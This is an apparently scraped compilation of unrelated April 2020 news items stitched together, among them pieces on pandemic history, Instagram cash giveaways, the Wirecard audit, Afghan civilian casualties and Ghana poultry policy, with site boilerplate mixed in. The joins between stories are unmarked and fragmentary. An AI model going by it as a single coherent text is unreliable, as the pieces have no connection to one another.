with a small number of workers. The factories will fully reopen from May 2," said BKMEA Vice President Mohammad Hatem, adding, "Workers who are living far away have been barred from attending work at the moment." READ | COVID-19: India gifts Bangladesh 1 lakh anti-malarial tablets, 50,000 surgical gloves READ | UN rights chief urges Bangladesh to accept Rohingya boats There are nearly 4.1 million garment workers in the country. On Sunday, hundreds of textile workers took to the streets of Dhaka, demanding wage, flouting social distancing norms amid the nationwide lockdown. Garment workers have held smaller protests in recent weeks to demand wages lost during the crisis. A nationwide lockdown is in place until May 5, but protesters said they would continue to violate the ban on movement if their demands were not met. READ | Bangladesh cleric tests positive for coronavirus after leading Ramzan prayers READ | Movement of inland vessels on India-Bangladesh protocol route permitted amid lockdown: MHA (With agency inputs) For our free coronavirus pandemic coverage, learn more here. Save Log in , register or subscribe to save articles for later. Normal text size Larger text size Very large text size They must have felt like nightmares, those plagues of the past. When sickness came, it seemed to come from nowhere, carving off huge swathes of the population as if at random. Was it divine intervention, an internal imbalance, ill-humoured vapours rising from the Earth? By the late 19th century, scientists had found and named the culprit. Invisible though they are to the naked eye, microbes have killed more people throughout history than war. They are the tiny invaders (germs such as viruses and bacteria) that unleash disease. Theyve led us to riot and murder but also to art and innovation. Much of modern medicine, from vaccinations to germ theory itself, took root in the panic of a pandemic. In cities such as Venice, where the quarantine measures we now know so well were born under the medieval waves of the Black Death, plague paintings still soar overhead in churches built by its survivors. Some outbreaks, such as influenza, malaria and HIV, now linger in our lives; others, notably smallpox, have been beaten into extinction or somewhere near it. This time, the disease on the loose is less deadly than the first dangerous coronavirus to emerge in the modern era, SARS, but its also more infectious. While SARS made it into less than 30 countries before it was stamped out (over nine anxious months) in 2003, it took COVID-19 less than 12 weeks to morph into the first major pandemic to hit the world since Spanish flu a century ago. So what can we learn from the outbreaks of the past? What clues do they leave us about how COVID-19 will end? And is humanity really getting better at handling infectious disease? During the plague of London in 1665, a doctor in 17th-century personal protective equipment slides bodies into a grave. The rat-borne bacteria that cause bubonic plague are in colour. Credit:Getty Images. Composite: Mark Stehle When did pandemics start happening? Disease has always stalked humanity but pandemics the significant worldwide spread of a pathogen are a modern phenomenon, says Professor Frank Ruhli, who heads the Institute for Evolutionary Medicine at the University of Zurich in Switzerland. Hed know a lot of his work days are spent poring over ancient mummies to crack the cold cases of diseases past. The molecular proof of a germ tends to break down fast in fossils, Ruhli says, but, even in prehistory, there were outbreaks. The difference was that because we lived spread out in small groups of hunter-gatherers, the new pathogen of the day tended to fade just as quickly as it emerged, having run out of people to infect. Advertisement Loading Then, as the world opened up to large-scale trade and travel roughly 6000 years ago, Ruhli says, viruses suddenly had an easier way to cross borders, countries, even continents. Now, today, a virus can get on a plane and go global within 24 hours." Sir Richard Evans, provost of Gresham College in London, is a leading authority on the great plagues of our past. He says you dont need a magic number of people before a pandemic can take hold; rather, you need a way for a disease to reach unfamiliar populations, perhaps marched in by an invading army, hitching a ride on a railway or docking with a ship from another land. "In 1492, Christopher Columbus took smallpox to the Americas and returned to Europe with syphilis," Evans says. (Columbus, it turned out, came off better the pox had long ravaged European populations but left survivors immune, giving them an advantage over the Indigenous peoples of the Americas and even Australia, where "the speckled monster" wrought a devastating toll.) Even today, well-established diseases can "break out" again when long-isolated communities in remote corners of the world at last collide with modern civilisation. During the 1950s and '60s, a group of Yanomami people living in Brazil were nearly decimated by measles after making contact with the outside world; a Yanomami teenager has now tested positive for COVID-19 as fears grow for Indigenous people across the world. The Black Death wiped out more than a third of Europe's population over just four years. As we are seeing in the case of COVID-19, much about how a pandemic unfolds is up to the germ. Does it jump from person to person, travel through the air or thrive in contaminated food or water? But the lifestyles and responses of those afflicted even the accidental kind play a role too. One of the world's earliest plagues, likely of typhoid, bred in the cramped, squalid conditions of a city under siege as Sparta attacked Athens around 430BC. Seeing the smoke from funeral pyres rising over the walls, those invading troops very smartly went home (possibly to self-isolate). While the contagion did return again, and again, it did not spread far beyond Greece. Advertisement Then, in the fifth century, the Roman Emperor Justinians conquest of Mediterranean brought a tiny bacteria all the way out of Egypt and into the heart of Europe, igniting what is often considered the worlds earliest pandemic, the first wave of the bubonic plague. Its toll was so devastating some even credit it with bringing down the Roman empire. Having wound its way out of Asia along the Silk Road, it would return for at least two more pandemic hits, including the Black Death that wiped out more than a third of Europe's population over just four years in the 14th century. Overall, the bubonic plague remains historys biggest killer between 75 million and 200 million people were felled by it before the 20th century, and even today it rears its head from time to time. But we know its secret now: the disease is spread by bacteria that live on the backs of rats, and we have both antibiotics and a vaccine (of limited availability) to treat it. At the Hyde Park Inoculation Depot in Sydney a man is vaccinated against H1N1 virus that caused Spanish flu. Credit:Getty Images. Composite: Mark Stehle How have societies reacted to past pandemics? Down the pandemic records, much of humanity's responses have been guided by instinct if not science, Ruhli says, a memory gene deep. Just as our body tells us to run when we see a tiger stalking through the jungle, we also know to keep away from the sick as much as we can. In some parts of medieval Europe, whole cities were built around the idea of isolation. "It was recognised by the Renaissance period that diseases did travel," Evans says. To stop it, ships arriving in Venice during a wave of plague in the 15th century were forced to sit at anchor under the first quarantines a period of 40 days or quaranta giorni in Italian, hence the word quarantine. "It's why you see people [panic] buying toilet paper now, there's a selfish evolutionary imperative to protect yourself," Ruhli says. "But humans also live together in groups so there's altruism built in too. In this pandemic, we are seeing the whole range of behaviour from the idiot who steals masks and hand sanitiser to the healthcare worker risking their life to care for the sick." Advertisement Even the pharaohs of ancient Egypt were not immune. The same infectious bugs that struck down commoners took out their kings too. Often pandemics were blamed on outsiders or on poverty and the "great unwashed" poor. Bad hygiene, a common concern in slums where people are packed in close together without access to proper sanitation, does play a role in most infectious disease transmission. Contaminated food and water carried the great cholera outbreaks throughout history, Evans notes. But disease does not discriminate by class or race. Even the pharaohs of ancient Egypt, revered as gods, were not immune. Ruhli has found the same infectious bugs that struck down commoners took out their kings too. Evans notes authorities have never coped particularly well with pandemics, even when authoritarian states already had extensive powers to control people's movement. "There's always been a tension in government between fear of economic disaster and fear of epidemics," he says. "In almost every pandemic, authorities initially refused to report the outbreak, in case it led to panic on the exchange, or the crippling of trade." In Hamburg in 1892, he says, the refusal of the Senate to report deaths on the waterfront from cholera saw 10,000 people die in just six weeks. Loading In the early days of COVID-19, China tried to cover up and downplay the outbreak as it did, to a much greater extent, during the SARS epidemic 20 years earlier. Then, this time, as the new coronavirus exploded, China did something without precedent in our modern era it locked down more than 10 million people in an effort to starve the virus of new hosts. That move, while fairly successful so far, has proven challenging to replicate in democratic societies. Italy hesitated long enough to give the virus a foothold; by March, its hospitals were overrun. Still, even when governments have tried to follow the medical dogma with case isolation and social restrictions it hasn't always been well received. Russia sealed off its slums when cholera hit during its second great pandemic of 1829. That slowed the spread but the sick (and sometimes even those who weren't) were largely left to fend for themselves. In 1831, as rumours swirled that the lockdowns were a Tsarist plot to kill off the poor, violent riots broke out, with doctors the main targets. Evans notes that, in Hamburg, where respected medical scientist Robert Koch helped deliver the message on the need for containment, the streets were quiet. Meanwhile, there were also riots in London as authorities struggled to contain the disease. Graverobbing scandals involving scientists and revelations of two serial killers selling bodies to a local anatomy school fuelled stories that cholera victims were being taken away to be murdered for experiments. In the end, an appeal from another respected doctor calmed people. Riots have also broken out alongside more recent outbreaks - such as in 2010 when UN peacekeeping troops brought cholera to Haiti. Advertisement The cholera bacteria superimposed on riots over quarantine measures in Astrakhan, Russia in 1892. Credit:Getty Images. Composite: Mark Stehle How did past pandemics end? Most diseases, once loose, tend to linger in some form in humans. But there are two main ways a pandemic wave comes to an end, says Nobel Prize-winning immunologist Professor Peter Doherty. The old road of early history saw infections burn out once enough people had either died or recovered with natural immunity then encoded into their cells. The other way is intervention quarantine and, today, medicine. Back in the Middle Ages, when the plague kept returning, there wasn't a choice. Without a treatment or an inoculation, survivors could only avoid the sick via quarantines and hope (and pray) they would be spared next time the Black Death came to call. Their DNA helped shaped the evolution of the human immune system. But scientists stress that we still don't know how long or even if survivors of COVID-19 will likewise become immune. This is a "virgin soil" pandemic, Doherty notes, brand new to humanity. So "letting the virus rip" in order to build up a faster "herd immunity" against it, could be catastrophic, especially given its mortality rate seems at least 10 times that of seasonal flu. In the case of the other main killer in history, smallpox, the turning point came in 1796. The virus is from the same family as the less severe cowpox and monkeypox and is thought to have first emerged around the time humans began domesticating animals (it was found in the tombs of ancient pharaohs, Ruhli says). Last century, it became the first human disease to be wiped off the face of the Earth. How? English doctor Edward Jenner had observed that milkmaids with cowpox tended not to be stricken by smallpox. He took fluid from a cowpox lesion and injected it into the arm of a nine-year-old boy before exposing him to various viruses. The boy didn't ever catch smallpox and so the modern method of engineering immunity against disease began. But it would take almost another 200 years to drive out the pox altogether as some countries held out against mandatory inoculations. Edward Jenner who discovered vaccination against smallpox (seen here in colour). Credit:Getty Images: Composite Mark Stehle Advertisement As the coronavirus continues to disrupt lives and livelihoods, influencers are offering free money to followers and gaining a lot more in return. (Edward Ubiera/The New York Times) -- NO SALES; FOR EDITORIAL USE ONLY WITH NYT STORY INSTAGRAM GIVEAWAYS BY TAYLOR LORENZ FOR APRIL 27, 2020. ALL OTHER USE PROHIBITED. -- Taylor Lorenz On March 18, as states sent nonessential workers home and companies prepared to cut costs, fitness influencer Paige Hathaway posted a message to her more than 4 million followers on Instagram. I know its tough with the quarantine especially for those who are unable to work so I wanted to do a giveaway for someone to receive $5,000 DOLLARS, she wrote. The post, which was removed from Instagram shortly after this article published, featured Hathaway fanning out a stack of $100 bills. Her fans began tagging friends and commenting about how desperately they could use the money. I could use a miracle right about now, one woman wrote. Several users posted prayer emojis. As the coronavirus has continued to disrupt American lives and livelihoods, Instagram has been overrun with cash giveaways like Hathaways. Several popular personalities have offered cash to their fans in exchange for tags, follows and comments, including Harry Jowsey, a star of the new Netflix reality show Too Hot to Handle; lifestyle influencers Caitlin Covington and Laura Beverlin; and rapper and social media star Bhad Bhabie. COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show To the more than 26 million US residents who have filed for unemployment over the past five weeks and millions more who are struggling to cover unforeseen costs such as medical bills and weeks worth of food purchased all at once, these cash offers may look like lifelines. But though they are frequently framed as charity, the giveaways are part of a growth scheme that has become pervasive on Instagram. Hathaway, for instance, was paid thousands of dollars by social media marketing firm Social Stance to promote the giveaway on her feed. Potential entrants were instructed to follow a list of around 70 accounts that Social Stance was following. The company charged $900 for a slot on the list. Those who purchased sponsor slots could expect to earn thousands of new followers overnight. Follow our LIVE Updates on the coronavirus pandemic here If you tell someone they can gain 50,000 followers in three days theyre going to do it, said Nathan Johnson, 19, who helps YouTube and TikTok stars orchestrate giveaways. The business he runs with his 16-year-old friend Carter is simple: They pay a big influencer a certain amount of money up front to host a cash giveaway, then turn around and sell follow list slots to earn a profit. Entrepreneurs buy spots to gain followers in order to sell their courses or e-book, Johnson said. Models will do it to gain followers to increase engagement and charge more for brand deals. Doctors do it for credibility and to grow their personal brand. Louisa Warwick, founder of Social Acceleration Group, has orchestrated seven Instagram giveaways with influencers and actresses including Tori Spelling and Natalie Halcro. Her firm is currently selling sponsor list spots for an upcoming cash giveaway by Teen Mom star Farrah Abraham. Interested parties can pay just $270 to be on the list; in exchange, Warwick said they can expect to gain thousands of followers. Instagram giveaways have been around for years. They initially emerged around 2016 when small businesses and bloggers began hosting loop giveaways. In order to enter, youd have to follow a group of people, or loop, then return to the original persons page and comment. Loop giveaways are frequently sponsor-free and exist as a collaboration between influencers. The giveaway that Covington and Beverlin hosted with their friends, for instance, was a loop giveaway. But last summer, the first major wave of sponsored giveaways began cropping up. At the time, most stars were gifting things like Louis Vuitton bags, but now everyone is giving away cash. People really need cash more than they do handbags, and logistically its harder to take a promotional pic with the celebrity and the bag when everyone is in lockdown, said Warwick. With many brand deals and sponsored trips on hold because of the virus, giveaways have provided big influencers with a way to make quick money from home. Corona has been tough on influencers and if you get told you can make $20,000 for posting a giveaway on Instagram youre probably going to do it, Johnson said. Purchasing sponsor slots on giveaways has also become the fastest and cheapest way to grow on Instagram. You suddenly get this surge of followers, said Dr. Thomas Connelly, a cosmetic dentist, who has purchased spots in Kardashian giveaways. What these giveaway campaigns do is force exposure to live human beings. Then, those people can make a choice as to whether they want to keep following. Connelly said he is pitched daily to be a sponsor. In advertising theres really not a whole lot of choices these days, he said. With this, you pay anywhere between $10,000 and $20,000, and you become one of these 70 people that Kim Kardashian or Kylie Jenner says, Hey go follow if you want to win cash. When it comes to the people buying giveaway sponsor slots, the biggest buyers are plastic surgeons and entrepreneurs, Johnson said. Warwick echoed his assertion; each of the giveaways she has organized included doctors. Its the demographic and age group were targeting, said Dr. Nicole Nemeth, an owner of Plastic Surgery of Westchester. Its the people wed want to market to, they are the ones looking at these influencers. Giveaways allow you to target a demographic that you normally would not be able to reach with such precision, said Dr Neal Blitz, a foot surgeon known online as the Bunion King. In his case, he said, that is women who wear heels and their feet are devastated by the heels. Theres all different ways you can advertise of course, Blitz said, but the younger generation is more interested in Instagram and knowing who you are. He has sponsored several large influencer giveaways and said that they result in followers who have a much stronger bond than if they simply find your account through a Google or Facebook ad. Preston Million, founder and CEO of digital marketing agency Influential Management, said that up-and-coming artists also frequently buy sponsor spots in influencer giveaways. It helps with perception when theyre trying to shop themselves around to labels, he said. The alternative is to buy ads through Instagram, which can be more expensive. Normally, it would cost around $10,000 to gain 100,000 followers through Instagram ads. Through a giveaway, you could spend $2,000 and grow the same amount. Jordan Lintz, a founder of HighKey Clout, one of the largest Instagram giveaway companies, said that he doesnt like to frame it as buying followers. Its like sponsoring an internet event, he said. Upcoming giveaways are announced on their verified Instagram page, and past winners and campaign results are featured prominently on the companys website. Not all giveaways are run with the same level of transparency. A lot of meme pages are doing fake giveaways right now, said Johnson. Some influencers are too. Johnson said that a legitimate giveaway will always announce and tag a winner. Liraz Roxy, a social media influencer in Los Angeles, said shes refused to participate in any sponsored giveaways. Its all very shady, she said. A Facebook company spokesperson said that many cash giveaways could be in violation of the companys community guidelines. This isnt the kind of experience we want to create on Instagram, the spokesperson said by email. Additionally, according to Robert Freund, an attorney who offers a legal training course for influencers, many of these cash giveaways could violate state sweepstakes laws. There are a lot of state, federal and local laws that regulate the sweepstakes promotional space and there are special considerations when you run promotions online with influencers, he said. For instance, these giveaways need clear terms and conditions, and must verify the age and location of participants, something Freund said he hasnt seen most influencer giveaways do. Influencers should also disclose that they are being paid to promote these giveaways. Right now theres a trend where influencers are making it seem like these cash giveaways are out of the goodness of their heart because of COVID, said Freund. But, if theyre getting compensated, they need to disclose that fact when they promote the giveaway and make posts about it. Disclosure in influencer marketing is an area that the FTC is paying a lot more attention to recently and regulators are watching. Some influencers, however, arent being paid to promote free cash theyre just giving it away. On April 15, Katie Sturino and three fellow body positive influencers pooled together $6,000 of their own money for a giveaway. Entrants were encouraged to follow all four influencers, and the winner was selected at random. Sturino frequently gives away products on her page, but she thought money would be better put to use right now. The reception was positive, said Sturino. People were excited that we were giving away cash and they were excited to learn about other Instagrammers who have a positive message. What we did didnt feel shady. It was a really cool positive thing. c.2020 The New York Times Company STAMFORD Residents along coastal Connecticut enjoyed a free air show as the U.S. Navys Blue Angels and the U.S. Air Forces Thunderbirds soared over Stamford on Tuesday afternoon to salute the work of first responders on the front lines of the coronavirus crisis. The elite military flight teams took to the sky for a 40-minute race over New York City, Newark, Trenton and White Plains to honor the workers in metro New York. Source: Xinhua| 2020-04-28 18:23:19|Editor: huaxia Video Player Close BANGKOK, April 28 (Xinhua) -- Thailand is handing out 5,000 baht (about 153 U.S. dollars) in monthly relief grant to a maximum of 10 million farmers affected by the COVID-19 pandemic, government spokesperson Narumon Pinyosinwat confirmed on Tuesday. The Thai cabinet on Tuesday approved the 5,000-baht relief grant to be provided for a maximum of 10 million farmers for three consecutive months under the government's 150 billion baht (about 4.61 billion U.S. dollar) fund earmarked for the affected farmers nationwide, according to Narumon. Those farmers, entitled to the relief grant from May until July, need to have been registered with either the Department of Agricultural Extension or the Department of Livestock Development or the Department of Fisheries, she said. Meanwhile, another 16 million Thais, also affected by the pandemic, are being given the same amount of money as a relief grant from April until June. Enditem By Douglas Busvine BERLIN (Reuters) - An independent investigation by auditor KPMG into Wirecard found on Tuesday the German payments company did not provide sufficient documentation to address all allegations of accounting irregularities made by the Financial Times. Following the release of the report, Wirecard said the KPMG audit had not uncovered any incriminating evidence to support allegations it manipulated its accounts and it would not restate its accounts for the years 2016 through 2018. "I would like to underline that, overall and in every point, the allegations were not confirmed," CEO Markus Braun told a conference call with reporters. KPMG is continuing its analysis for last year after receiving fresh data, Wirecard said on Tuesday, as it delayed the publication of its annual results until next month. The German payments company hired KPMG last year to conduct an independent audit to address allegations by the British newspaper, including that its Singapore office had booked fake transactions to inflate revenues. The company has denied wrongdoing and taken legal action against the Financial Times. In its own report on the KPMG audit, the FT said it stood by its reporting and is defending the lawsuit. Wirecard, founded in 1999, has profited from a boom in online payments by acting both as an acquirer, handling payments to hundreds of thousands of merchants, and as an issuer of real and 'virtual' payment cards to consumers. Under Braun, who remains its largest shareholder, it won a spot in Germany's blue-chip DAX 30 <.GDAXI> index in 2018. The allegations have dogged the company over the past year, however, repeatedly wiping billions off its stock market value. Publication of the KPMG audit sparked heavy losses that deepened as Braun faced tough questioning on a conference call with analysts. Shares were down 26%, erasing more than 4 billion euros from the company's market value. Story continues "This is anything but a clean bill of health," said NordLB analyst Wolfgang Donie, who has a 'hold' rating on the stock. BLACK HOLE The main FT allegation where KPMG found fault was that Wirecard had booked half of its worldwide revenues and much of its profits from three obscure third-party acquiring partners. KPMG said it was not able to conclude whether these revenues did or did not exist for the years 2016-18. "The documents presented to KPMG were almost exclusively in electronic form, making their authenticity impossible to verify," it said, also pointing to a lack of cooperation from Wirecard's third-party acquiring partners. NordLB's Donie said the years 2016 to 2018 "remain a black hole" that left Wirecard "wide open to further allegations". KPMG also addressed allegations by the FT of fraudulent accounting at its Singapore office and overpaying for assets in India, and from anonymous website MCA-Mathematik of inflating the size of cash advances to merchants. "We cannot make a final judgment on whether the documentation and information are complete, correct and free of contradiction," KPMG said in its 58-page report https://www.wirecard.com/transparency. "To this extent, we cannot rule out that we would have come to a different result if we had obtained access to further information and documents." Wirecard either did not provide documents requested by KPMG, or only did so months later, delaying the overall investigation, KPMG said, adding that interviews with managers had been postponed repeatedly. MCA-Mathematik said in a statement that Wirecard had "intentionally misled investors about the nature of the merchant cash advance lending programme" and called for the executive board to be suspended. Singapore police confirmed that an investigation opened last year was continuing but did not comment further on KPMG's report. (Additional reporting by Patricia Uhlig, Hans Seidenstuecker and Aradhana Aravindan; Editing by Michelle Martin and Josephine Mason) Im very disappointed that its come to this moment in time in an effort that weve been working on for all of the past decade, said Rep. Ryan Spain, a Peoria Republican who is sponsoring the bill in the House. It just makes me look back and really feel such tremendous disappointment and frustration that we didnt engage and get this issue solved much earlier on, when we had so many chances to do so. City of South Lyon joins the MITN Purchasing Group In addition to the time savings we anticipate, our vendors will also benefit from registering in one location for all local bid opportunities. The City of South Lyon announced today that it has joined the MITN Purchasing Group, a regional purchasing group that helps local governments post, distribute and manage RFPs, quotes, addendums and awards online. BidNets MITN Purchasing Group provides notification to registered vendors of new relevant solicitations, any addenda and award information from over 230 participating agencies from across Michigan. The City of South Lyon invites all vendors to register online with the MITN Purchasing Group to access its upcoming solicitations by visiting http://www.bidnetdirect.com/mitn. The City of South Lyon joined the MITN Purchasing Group in April. In joining, the City of South Lyon has become the 231st participating local government agency utilizing the system to streamline their purchasing process. The MITN Purchasing Group is a single, online location for managing sourcing information and activities and provides local Michigan government agencies a method to minimize costs and time delays associated with the procurement process in these unprecedented times. The City of South Lyon was distributing bids and managing the procurement process manually before joining the system. In joining, the City of South Lyon looks to save time, increase competition and achieve cost savings over the traditional paper-based bid process. The City of South Lyon now has access to an extensive vendor pool, thereby enhancing competition without increasing distribution costs. In addition to the existing vendors on the MITN Purchasing Group, all vendors looking to respond to bids with local government agencies can register online: http://www.bidnetdirect.com/mitn. The City of South Lyon invites all current vendors not already registered on the MITN Purchasing Group to do so today. Vendor registration is easy and takes only a few minutes online. Registered vendors can access bids, related documents, addendum and award information. In addition, the MITN Purchasing Group offers a value-added service to notify vendors of new bids targeted to their industry, all addenda associated with those bids and advance notice of term contract expiration. A robust NIGP code category list allows vendors registering to find the correct codes and receive matched bids. By using the MITN Purchasing Group, our valued vendors can now access not only our open bids, but those from other municipalities, counties and school districts throughout the Michigan. In addition to the time savings we anticipate, our vendors will also benefit from registering in one location for all local bid opportunities. We invite all of our current vendors to register or contact the vendor support team with any questions, Douglas Varney, Director of DPW and Utilities for the City of South Lyon. Vendors may register on the MITN Purchasing Group: http://www.bidnetdirect.com/mitn. BidNets vendor support team is available to answer any questions regarding the registration process or the bid system at 800-835-4603 option 2. Other local Michigan government agencies looking to switch from a manual bid process, please contact the MITN Purchasing Group for a demonstration of the no-cost sourcing solution. About the City of South Lyon: The City of South Lyon is located in Oakland County. Originally established as an agricultural center built around two railroads and incorporated as a city in 1930, South Lyon is becoming a center for manufacturing, with 70 acres of light industrial properties located within the city limits. South Lyons utility systems service residents and businesses, an important feature unavailable in surrounding areas. Known for its historic and charming downtown, annual festivals, top-notch parks and excellent schools, the City of South Lyon offers an unparalleled quality of life. About the MITN Purchasing Group: The MITN Purchasing Group is a part of BidNets regional MITN Purchasing Groups available at no cost to local government agencies throughout the country. With years of input from procurement professionals, BidNet specifically developed the bid system to fill the need for a robust bid and supplier management solution for local government agencies. BidNet runs regional MITN Purchasing Groups across all 50 States that are used by over 1,300 local governments. To learn more and have your government agency gain better transparency and efficiency in purchasing, please visit https://www.bidnetdirect.com/buyers To the Editor: Robert Fords letter ("Coronavirus an excuse for mismanaged states to plead poor, " April 27, 2020) responding to your editorial (McConnell plays politics with coronavirus aid to states, April 26, 2020) is misinformed. New York gives so much more to the federal government than it receives. But those who get all their news from watch one source wouldnt know that. Instead, Ford chooses to parrot Fox News by bemoaning New Yorks funding the lifestyles of immigrants here without legal permission. Are you serious?? Lifestyles? I dont think many undocumented immigrants have two houses and go on great vacations every year. Your parrot-speak is laughable. But of course, that is the point using code words just to incite people who buy the immigrant as enemy. Then, Ford goes on to talk about underfunded pensions in one breath and excessive retirement ... for (public) employees. In addition to being illogical, isnt that how you made a lot of your money? Are you saying that only private employees are supposed to get a decent pension and health care program? Not cops, nurses, teachers, prison guards? Again, you are repeating nonsensical catch phrases hoping to incite fools. Sorry, the people of Central New York are smarter than that. New York deserves some of this money, it is our money to begin with. And the bigger point is that you dont get to give out money based on a states politics. That is immoral and un-American. But if you dont understand that, perhaps just plain self-interest will help. McConnell telling states to declare bankruptcy would ruin your wealth and everyone elses. Is that what you really want to see? New York go bankrupt? Layoffs of all those public employees who cant contribute to their huge pension funds? For once, stop and think about the repercussions of your parroting. Be careful what you wish for. Deb Rielly Baldwinsville MORE ON CORONAVIRUS Coronavirus in NY: Cases, maps, charts and resources Coronavirus economy: New Yorkers going weeks with no job, no call from unemployment Cuomo: Many parts of NY will be closed past May 15, heres how others reopen Onondaga County warns of potential coronavirus exposure at Target, Walmart Complete coronavirus coverage on syracuse.com The World Banks Board of Executive Directors approved $135 million in Additional Financing for the Serving People, Improving Health Project, to scale-up Ukraines health sector response to the COVID-19 pandemic. The World Bank announced this in a press release of April 27. The ongoing Serving People, Improving Health Project provides assistance for renovation of urban hospitals and rural health posts, purchasing of modern equipment, and improvement in the quality of health services. The initial $215 million investment focused on supporting health reforms, improving services delivery (including primary and secondary prevention, early detection, and treatment of cardiovascular diseases and cancer), as well as enhancing the efficiency of the health care system. The additional $135 million will help Ukraine with important hospital upgrades and reforms, and also help train thousands of Ukrainian doctors in the provision of modern medical services. The project will also help fund peoples medical needs, from the state budget, and provide $35 million for COVID-19 emergency response activities. These funds will be used to buy essential materials and equipment for the countrys COVID-19 response, provide much-needed training for medical personnel, and support communication of essential public information. It will also cover reimbursement of financing to Ukrainian providers of health care for COVID-19 patients. This additional financing will help Ukraine upgrade up to 40 hospital emergency departments and stroke units, enabling hospitals to perform complicated medical procedures using hi-tech equipment and appropriate treatment protocols. Patients will have an opportunity to choose any hospital in Ukraine, and their costs for surgical operations will be covered by the state budget, said Alex Kremer, World Bank Acting Country Director for Belarus, Moldova, and Ukraine. More Than 500 Afghan Civilians, Including Many Children, Killed In First Quarter, Says UN By RFE/RL's Radio Free Afghanistan April 27, 2020 More than 500 civilians, almost a third of them children, were killed and 760 were wounded due to the fighting in Afghanistan in the first three months of this year, the UN said in a report on April 27, stressing the need to better protect civilians amid the threat posed to all Afghans by the coronavirus outbreak. Those figures included 152 dead children and 265 wounded, as well 60 women killed and 108 wounded from January 1 to March 31, the United Nations Assistance Mission in Afghanistan (UNAMA) said in its report. Many casualties occurred last month despite hopes that the government and the Taliban would seek ways to defuse the conflict, the report said. Anti-government forces -- including the Taliban, Islamic State, and other unidentified groups -- were responsible for 55 per cent of all the casualties during the time frame, the UN report said. But Afghan government forces and international troops caused more child casualties than anti-government armed groups, it said. "To safeguard the lives of countless civilians in Afghanistan and to give the nation hope of a better future, it is imperative that violence is stopped with the establishment of a cease-fire and for peace negotiations to commence," said Deborah Lyons, the secretary-general's special representative for Afghanistan and head of UNAMA. The report comes a day after U.S. envoy Zalmay Khalilzad said in a series of tweets that the Taliban should "reduce violence" and "stop all their offensive operations" until the end of the coronavirus crisis. The Taliban has rejected a proposal by the Afghan government for a cease-fire during the holy month of Ramadan. The militants have accused President Ashraf Ghani's government of failing to fully implement the peace process. Intra-Afghan peace talks, including representatives of the Taliban, are supposed to begin after some 5,000 Taliban prisoners are released from the custody of the Afghan government. In return, the Taliban is also supposed to release about 1,000 Afghan troops and civilian government employees it is holding. So far, the government has freed nearly 500 Taliban prisoners and the militant group has released about 60 prisoners. Authorities have released thousands of detainees, mostly women, juveniles, and sick people, to reduce the risk of coronavirus spreading in prisons. Afghanistan has so far reported 1,531 coronavirus infections and 50 deaths. With reporting by Reuters, AP, AFP, and dpa Source: https://www.rferl.org/a/afghanistan-500 -afghan-civilians-killed-children- 1st-quarter/30578844.html Copyright (c) 2020. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address An Indian man has admitted he stabbed his wife 22 times at their Brisbane home after she told him she wanted a divorce. Rajkumar Janagani, 35, pleaded guilty to knifing the woman in the head, neck, chest, back and arms in August 2015. He is expected to be sentenced for attempted murder in the Brisbane Supreme Court on Tuesday. AAP The new OnePlus duo doesnt officially launch in the US until tomorrow, but some already received their pre-orders. However, those that intended to run their new phone on Verizons network are faced with compatibility issues. The phones require something called CDMA-less mode to operate on the carrier, but that cant be activated Verizons network has a whitelist of allowed devices and OnePlus is yet to send a list of IMEI numbers for the carrier to add to said whitelist. People in the OnePlus forums are reporting that their phones mostly work, though they complain of occasional dropped calls and missed texts. For others, however, the phone wont connect at all. OnePlus carrier support table: Previous version Now The OnePlus page previously claimed support for Verizon, but that has since been updated. Note that this affects both the OnePlus 8 and OnePlus 8 Pro Verizons custom version of the 8 will be supported from day 1, but it will cost $100 more as it supports mmWave 5G and is IP68 rated (while the vanilla version isnt). So, if you bought a OnePlus 8 or 8 Pro to use on the Verizon network, you should consider sending it back as you will have to wait quite a while for official support. OnePlus says Our OnePlus 8 series open market phones in North America will not be compatible with Verizon until June at the latest. The OnePlus 8 purchased through Verizon will be certified immediately. Source | Via Well, I think women should be able to tell their stories. I think that it is important that these allegations are vetted, from the media to beyond. And I think that, you know, it is something that no one takes lightly, Whitmer said. But it is also something that is, you know, personal. And so its hard to give you greater insight than that, not knowing more about the situation. The Minister of Food and Agriculture, Dr. Owusu Afriyie Akoto, says government is determined to make Ghana self-sufficient in chicken products by 2023 and curtail the huge sums of money spent annually on the importation of chicken which is in high demand in the country. Ghana spends 350 million dollars every year importing poultry meat. If the farmers at Dormaa are well resourced, Im confident that you can feed the whole of West Africa and beyondBut we have to get our diagnostics right. Dr. Owusu Afriyie Akoto was addressing poultry farmers at Dormaa Ahenkro in the Bono region as part of his working visit to some parts of the country to interact with the various players in the agricultural sector and help address their concerns. He attributed the dwindling poultry industry over the years to the non-availability of soya beans, which is a major component of poultry is feed, adding that this explains why Soya was added to the first six foodstuff selected under the Planting for Food and Agriculture programme. When we came in the annual production of soya was about 50,000 metric tons. but this country has the potential to produce soya..In 2019, we were able to produce nearly 200,000 metric tons of soya.from the 50,000. Ghana is now exporting soya. Dormaa Poultry lab The Minister assured the people that steps would be taken to complete a poultry laboratory project which was started during the Kufour-led NPP administration but was abandoned by the NDC government, saying without animal health your industry is dead and Im the first person to appreciate that so I can promise you that Im going to pursue the matter.. The Municipal Chief Executive for Dormaa, Drissa Oautarra, told the Minister that his assembly in partnership with COCOBOD distributed 123,360 coffee seedlings to 226 farmers in the area at the cost of Gh.c 10,000 last 